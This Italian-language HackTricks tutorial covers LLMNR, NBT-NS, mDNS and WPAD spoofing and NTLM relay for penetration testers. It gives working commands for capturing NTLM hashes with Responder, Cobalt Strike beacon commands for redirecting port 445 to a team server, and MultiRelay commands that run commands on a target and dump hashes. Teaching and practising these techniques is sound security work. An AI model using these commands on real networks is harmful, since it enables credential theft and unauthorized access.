Spoofing LLMNR, NBT-NS, mDNS/DNS e WPAD e Attacchi di Relay

Reading time: 6 minutes

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

Protocolli di Rete

Protocolli di Risoluzione Locale degli Host

  • LLMNR, NBT-NS e mDNS:
  • Microsoft e altri sistemi operativi utilizzano LLMNR e NBT-NS per la risoluzione dei nomi locali quando DNS fallisce. Allo stesso modo, i sistemi Apple e Linux utilizzano mDNS.
  • Questi protocolli sono suscettibili a intercettazioni e spoofing a causa della loro natura non autenticata e broadcast su UDP.
  • Responder può essere utilizzato per impersonare servizi inviando risposte falsificate agli host che interrogano questi protocolli.
  • Ulteriori informazioni sull'impersonificazione dei servizi utilizzando Responder possono essere trovate qui.

Protocollo di Scoperta Automatica del Proxy Web (WPAD)

  • WPAD consente ai browser di scoprire automaticamente le impostazioni del proxy.
  • La scoperta è facilitata tramite DHCP, DNS, o un fallback a LLMNR e NBT-NS se DNS fallisce.
  • Responder può automatizzare gli attacchi WPAD, indirizzando i client verso server WPAD malevoli.

Responder per il Poisoning dei Protocolli

  • Responder è uno strumento utilizzato per il poisoning delle query LLMNR, NBT-NS e mDNS, rispondendo selettivamente in base ai tipi di query, mirando principalmente ai servizi SMB.
  • È preinstallato in Kali Linux, configurabile in /etc/responder/Responder.conf.
  • Responder visualizza gli hash catturati sullo schermo e li salva nella directory /usr/share/responder/logs.
  • Supporta sia IPv4 che IPv6.
  • La versione Windows di Responder è disponibile qui.

Esecuzione di Responder

  • Per eseguire Responder con impostazioni predefinite: responder -I <Interface>
  • Per un probing più aggressivo (con potenziali effetti collaterali): responder -I <Interface> -P -r -v
  • Tecniche per catturare le sfide/riposte NTLMv1 per una cracking più semplice: responder -I <Interface> --lm --disable-ess
  • L'impersonificazione WPAD può essere attivata con: responder -I <Interface> --wpad
  • Le richieste NetBIOS possono essere risolte all'IP dell'attaccante, e un proxy di autenticazione può essere impostato: responder.py -I <interface> -Pv

Poisoning DHCP con Responder

  • Spoofing delle risposte DHCP può avvelenare permanentemente le informazioni di routing di una vittima, offrendo un'alternativa più furtiva al poisoning ARP.
  • Richiede una conoscenza precisa della configurazione della rete target.
  • Esecuzione dell'attacco: ./Responder.py -I eth0 -Pdv
  • Questo metodo può catturare efficacemente gli hash NTLMv1/2, ma richiede una gestione attenta per evitare interruzioni della rete.

Cattura delle Credenziali con Responder

  • Responder impersonerà i servizi utilizzando i protocolli sopra menzionati, catturando le credenziali (di solito NTLMv2 Challenge/Response) quando un utente tenta di autenticarsi contro i servizi falsificati.
  • Possono essere effettuati tentativi di downgrade a NetNTLMv1 o disabilitare ESS per una cracking delle credenziali più semplice.

È fondamentale notare che l'impiego di queste tecniche deve avvenire legalmente ed eticamente, garantendo la corretta autorizzazione e evitando interruzioni o accessi non autorizzati.

Inveigh

Inveigh è uno strumento per penetration tester e red teamer, progettato per sistemi Windows. Offre funzionalità simili a Responder, eseguendo spoofing e attacchi man-in-the-middle. Lo strumento è evoluto da uno script PowerShell a un binario C#, con Inveigh e InveighZero come versioni principali. Parametri dettagliati e istruzioni possono essere trovati nella wiki.

Inveigh può essere operato tramite PowerShell:

powershell
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

O eseguito come un binario C#:

bash
Inveigh.exe

Attacco di Relay NTLM

Questo attacco sfrutta le sessioni di autenticazione SMB per accedere a una macchina target, concedendo una shell di sistema se ha successo. I requisiti chiave includono:

  • L'utente che si autentica deve avere accesso come Amministratore Locale sull'host relayato.
  • La firma SMB deve essere disabilitata.

Inoltro e Tunnelizzazione della Porta 445

In scenari in cui l'introduzione diretta nella rete non è fattibile, il traffico sulla porta 445 deve essere inoltrato e tunnelizzato. Strumenti come PortBender aiutano a reindirizzare il traffico della porta 445 a un'altra porta, il che è essenziale quando è disponibile l'accesso come amministratore locale per il caricamento del driver.

Impostazione e funzionamento di PortBender in Cobalt Strike:

bash
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Altri Strumenti per l'Attacco di Relay NTLM

  • Metasploit: Configurato con proxy, dettagli degli host locali e remoti.
  • smbrelayx: Uno script Python per il relay delle sessioni SMB ed esecuzione di comandi o distribuzione di backdoor.
  • MultiRelay: Uno strumento della suite Responder per relay di utenti specifici o di tutti gli utenti, esecuzione di comandi o dumping di hash.

Ogni strumento può essere configurato per operare attraverso un proxy SOCKS se necessario, abilitando attacchi anche con accesso indiretto alla rete.

Operazione di MultiRelay

MultiRelay viene eseguito dalla directory /usr/share/responder/tools, mirando a IP o utenti specifici.

bash
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

Questi strumenti e tecniche formano un insieme completo per condurre attacchi NTLM Relay in vari ambienti di rete.

Forzare le autenticazioni NTLM

In Windows potresti essere in grado di forzare alcuni account privilegiati ad autenticarsi su macchine arbitrarie. Leggi la pagina seguente per scoprire come:

{{#ref}} ../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md {{#endref}}

Riferimenti

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks